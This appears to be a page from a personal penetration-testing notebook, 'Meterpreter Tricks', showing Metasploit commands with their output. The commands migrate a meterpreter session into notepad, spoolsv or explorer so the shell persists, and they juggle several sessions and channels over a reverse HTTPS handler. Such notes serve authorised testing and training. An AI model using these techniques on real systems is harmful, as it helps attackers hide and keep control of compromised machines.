🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Migrate meterpreter to another process
  • Manage multi session
  1. Metasploit

Meterpreter Tricks

PreviousMetasploitNextPrivilege Escalation

Last updated 6 months ago

Always migrate to common apps for persistence shell.

Migrate meterpreter to another process

execute new notepad

meterpreter> execute -H -f notepad

# Output: Process 1234 created.

migrate connection to notepad

meterpreter> migrate 1234

# Output: Migration completed successfully

or you can search some reliable program to migrate to.

meterpreter> ps -S spoolsv
# OR
meterpreter> ps -S explorer

run migration with this format migrate <Target PID>

Manage multi session

example

payload -> windows/meterpreter/reverse_https
port -> 443

make sure you listen in msfconsole and have last connection shell

  1. ctrl + z to background current session

PS C:\Windows\Tasks> ^Z
Background channel 1? [y/N] y
  1. you will back to meterpreter>, then background again.

meterpreter > background
msf5 exploit(multi/handler) > 
  1. run listener but as a background

msf5 exploit(multi/handler) > exploit -j
<..snip..>
[*] Started HTTPS reverse handler on https://192.168.x.y:443
  1. back to the session 1

msf5 exploit(multi/handler) > session -i 1

# interact with channel 1 in session 1
meterpreter > channel -i 1
Interacting with channel 1. . .
PS C:\Windows\Tasks>

If you need to perform another shell, you can run channel 2 in session 1

PS C:\Windows\Tasks>^Z
Background channel 1? [y/N] y
meterpreter >

launch new shell, to get another shell in channel 2 in session 1.

meterpreter > shell

wanna get back to the session 2?

make sure you background the current channel in session 1

C:\Windows\Tasks^Z
Background channel 2? [y/N] y
meterpreter > background
[*] Backgrounding session 1 ...
msf5 exploit(multi/handler) >

Interact with session 2

msf5 exploit(multi/handler) > session -i 2
[*] Starting interaction with 2...
meterpreter >

https://jlajara.gitlab.io/process-migration